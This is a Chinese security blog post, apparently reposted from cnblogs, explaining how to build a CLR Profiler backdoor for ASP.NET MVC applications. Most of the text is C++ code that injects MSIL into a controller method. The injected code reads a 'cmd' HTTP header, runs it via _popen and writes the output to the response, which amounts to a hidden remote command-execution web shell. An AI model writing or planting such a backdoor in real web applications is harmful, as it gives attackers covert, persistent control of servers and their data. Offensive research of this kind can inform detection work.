长亭百川云 - 文章详情

针对ASP.NET MVC程序的CLR Profiler后门程序编写 - admin-神风

博客园 - admin-神风

94

2024-07-19

一、文章前述

关于CLR Profiler的基础部分我上篇文章已经讲过了,具体可以去看看

https://www.cnblogs.com/wh4am1/p/15143698.html

直接进入正文部分

二、重写MSIL部分

这次爬坑也挺久的,请教了公司的同事,最后经过多次调试之后总算把demo做出来了。因为国内外针对这方面的文档确实很少,之能靠自己一步步调试和定位错误原因,不过好在最终还是达到了预期的目标。

源代码还是跟上篇文章一样,这次我直接织入到一个Controller的方法中,并获取Headers头的cmd参数,执行命令之后返回到Response上。

 首先第一件事就是获取所需要调用的函数的程序集引用

ASSEMBLYMETADATA assemblyMetadata = { 0 };
    assemblyMetadata.usMajorVersion \= 4;
    assemblyMetadata.usMinorVersion \= 0;
    assemblyMetadata.usBuildNumber \= 0;
    assemblyMetadata.usRevisionNumber \= 0;
    BYTE WebpublicKey\[\] \= { 0xb0, 0x3f, 0x5f, 0x7f, 0x11, 0xd5, 0x0a, 0x3a };      //b03f5f7f11d50a3a
    mdAssemblyRef mscorlibAssemblyRef;
    IMetaDataAssemblyEmit\* metaDataAssemblyEmit = NULL;
    IfFailRet(metaDataEmit\->QueryInterface(IID\_IMetaDataAssemblyEmit, (void\*\*)&metaDataAssemblyEmit));
    IfFailRet(metaDataAssemblyEmit\->DefineAssemblyRef(
        WebpublicKey,
        sizeof(WebpublicKey),
        L"System.Web",
        &assemblyMetadata,
        nullptr,
        0,
        0,
        &mscorlibAssemblyRef));

    ASSEMBLYMETADATA assemblyMetadata1 \= { 0 };
    assemblyMetadata1.usMajorVersion \= 4;
    assemblyMetadata1.usMinorVersion \= 0;
    assemblyMetadata1.usBuildNumber \= 0;
    assemblyMetadata1.usRevisionNumber \= 0;
    BYTE SystempublicKey\[\] \= { 0xb7, 0x7a, 0x5c, 0x56, 0x19, 0x34, 0xe0, 0x89 };      //b77a5c561934e089
    mdAssemblyRef mscorlibAssemblyRef2;
    IfFailRet(metaDataEmit\->QueryInterface(IID\_IMetaDataAssemblyEmit, (void\*\*)&metaDataAssemblyEmit));
    IfFailRet(metaDataAssemblyEmit\->DefineAssemblyRef(
        SystempublicKey,
        sizeof(SystempublicKey),
        L"System",
        &assemblyMetadata1,
        nullptr,
        0,
        0,
        &mscorlibAssemblyRef2));

    BYTE rSig\[\] \= { IMAGE\_CEE\_CS\_CALLCONV\_HASTHIS,
               0, // Number of parameters 
               ELEMENT\_TYPE\_CLASS, 0, 0, 0, 0, // Return value
               0 // parameter list must end with 0
    };

    ASSEMBLYMETADATA Mvcassembly \= { 0 };
    Mvcassembly.usMajorVersion \= 5;
    Mvcassembly.usMinorVersion \= 2;
    Mvcassembly.usBuildNumber \= 4;
    Mvcassembly.usRevisionNumber \= 0;
    BYTE publicKey\[\] \= { 0x31, 0xbf, 0x38, 0x56, 0xad, 0x36, 0x4e, 0x35 };      //31bf3856ad364e35
    BYTE MVCrSig\[\] = { IMAGE\_CEE\_CS\_CALLCONV\_HASTHIS,
               0, // Number of parameters 
               ELEMENT\_TYPE\_CLASS, 0, 0, 0, 0, // Return Class
               0 // parameter list must end with 0
    };
    mdAssemblyRef MvcmscorlibAssemblyRef;
    IfFailRet(metaDataAssemblyEmit\->DefineAssemblyRef(
        publicKey,
        sizeof(publicKey),
        L"System.Web.Mvc",
        &Mvcassembly,
        nullptr,
        0,
        0,
        &MvcmscorlibAssemblyRef));

 有了这些引用之后就可以重写对应的IL,并调用对应的函数获取返回值

因为我需要将Headers头中的参数传入到对应的cmd执行函数里面去,所以伪代码大致如下:

Response.Write(EnterExecCMD(Request.Headers\["cmd"\]))

其对应的IL代码如下:

IL\_00c2: ldarg.0
        IL\_00c3: call instance class \[System.Web\]System.Web.HttpResponseBase \[System.Web.Mvc\]System.Web.Mvc.Controller::get\_Response()
        IL\_00c8: ldarg.0
        IL\_00c9: call instance class \[System.Web\]System.Web.HttpRequestBase \[System.Web.Mvc\]System.Web.Mvc.Controller::get\_Request()
        IL\_00ce: callvirt instance class \[System\]System.Collections.Specialized.NameValueCollection \[System.Web\]System.Web.HttpRequestBase::get\_Headers()
        IL\_00d3: ldstr "cmd"
        IL\_00d8: callvirt instance string \[System\]System.Collections.Specialized.NameValueCollection::get\_Item(string)
                //此处是调用EnterExecCMD函数的地方
        IL\_00dd: callvirt instance void \[System.Web\]System.Web.HttpResponseBase::Write(string)

所以之后的IL重写代码如下:


pNewInstr = pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_NOP;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_LDARG\_0;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    mdTypeRef retType;
    IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpResponseBase", &retType));

    IfFailRet(metaDataEmit\->DefineTypeRefByName(MvcmscorlibAssemblyRef, L"System.Web.Mvc.Controller", &typeRef));
    ulTokenLength \= CorSigCompressToken(retType, &MVCrSig\[3\]);
    ulSigLength \= 3 + ulTokenLength;
    IfFailRet(metaDataEmit\->DefineMemberRef(typeRef, L"get\_Response", MVCrSig, ulSigLength, &MemberRef));

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_CALL;
    pNewInstr\->m\_Arg32 = MemberRef;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_LDARG\_0;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpRequestBase", &retType));

    IfFailRet(metaDataEmit\->DefineTypeRefByName(MvcmscorlibAssemblyRef, L"System.Web.Mvc.Controller", &typeRef));
    ulTokenLength \= CorSigCompressToken(retType, &MVCrSig\[3\]);
    ulSigLength \= 3 + ulTokenLength;
    IfFailRet(metaDataEmit\->DefineMemberRef(typeRef, L"get\_Request", MVCrSig, ulSigLength, &MemberRef));

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_CALL;
    pNewInstr\->m\_Arg32 = MemberRef;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
    IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef2, L"System.Collections.Specialized.NameValueCollection", &retType));

    mdTypeRef typeRef1 \= mdTypeRefNil;
    mdMemberRef MemberRef1 \= mdMemberRefNil;
    IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpRequestBase", &typeRef1));
    ulTokenLength \= CorSigCompressToken(retType, &rSig\[3\]);
    ulSigLength \= 3 + ulTokenLength;
    IfFailRet(metaDataEmit\->DefineMemberRef(typeRef1, L"get\_Headers", rSig, ulSigLength, &MemberRef1));

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_CALLVIRT;
    pNewInstr\->m\_Arg32 = MemberRef1;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    auto localstring \= L"cmd";
    auto localsize \= lstrlenW(localstring);
    mdToken stringToken;
    IfFailRet(metaDataEmit\->DefineUserString(localstring, localsize, &stringToken));

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_LDSTR;
    pNewInstr\->m\_Arg32 = stringToken;       //"cmd"
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    

    BYTE rSig\_Item\[\] \= { IMAGE\_CEE\_CS\_CALLCONV\_HASTHIS, 0x01, ELEMENT\_TYPE\_STRING, ELEMENT\_TYPE\_STRING };

    mdTypeRef typeRef2 \= mdTypeRefNil;
    mdMemberRef MemberRef2 \= mdMemberRefNil;
    IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef2, L"System.Collections.Specialized.NameValueCollection", &typeRef2));
    IfFailRet(metaDataEmit\->DefineMemberRef(typeRef2, L"get\_Item", rSig\_Item, sizeof(rSig\_Item), &MemberRef2));

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_CALLVIRT;
    pNewInstr\->m\_Arg32 = MemberRef2;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_LDC\_I;
    pNewInstr\->m\_Arg64 = methodAddress;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_CALLI;
    pNewInstr\->m\_Arg32 = methodSignature;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    BYTE rSig\_Write\[\] \= { IMAGE\_CEE\_CS\_CALLCONV\_HASTHIS, 0x01, ELEMENT\_TYPE\_VOID, ELEMENT\_TYPE\_STRING };

    IfFailRet(metaDataEmit\->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpResponseBase", &typeRef1));
    IfFailRet(metaDataEmit\->DefineMemberRef(typeRef1, L"Write", rSig\_Write, sizeof(rSig\_Write), &MemberRef1));

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_CALLVIRT;
    pNewInstr\->m\_Arg32 = MemberRef1;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr \= pilr->NewILInstr();
    pNewInstr\->m\_opcode = CEE\_NOP;
    pilr\->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

View Code

 在重写的时候调用函数会用DefineMemberRef来找到对应的函数引用,但因为是本地引用的base对象,所以此处应该要用IMAGE_CEE_CS_CALLCONV_HASTHIS修饰,不然会报对应的方法找不到,这个问题一直困扰了我很久,最后看了很多代码和文库才知道是要这么写- -

而其中的EnterExecCMD函数是用C++编写的,实现代码如下:

static char\* STDMETHODCALLTYPE Enter(char\* arg0)
{
    if (arg0 && \*arg0 != '\\0') {
        int iRet = 0;
        char buf\_ps\[4096\];
        char ps\[1024\] = { 0 };
        char ret\[4096\];
        FILE \*ptr;

        sprintf(ps, arg0);

        if ((ptr = \_popen(ps, "r")) != NULL)
        {
            while (fgets(buf\_ps, sizeof(buf\_ps), ptr) != NULL)
            {
                strcat(ret, buf\_ps);
                if (strlen(ret) > 4096)
                {
                    break;
                }
            }
            \_pclose(ptr);
            ptr \= NULL;
            iRet \= 1;  // 处理成功
        }
        else
        {
            iRet \= 0; // 处理失败
        }

        if (iRet) {
            return buf\_ps;
        }
        else {
            return (char\*)"Run Command Error";
        }
    }
}

附上最后测试的图,在请求的时候Header头上cmd参数写入要执行的cmd命令即可:

Reference:

https://www.anquanke.com/post/id/256110

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备2024055124号-2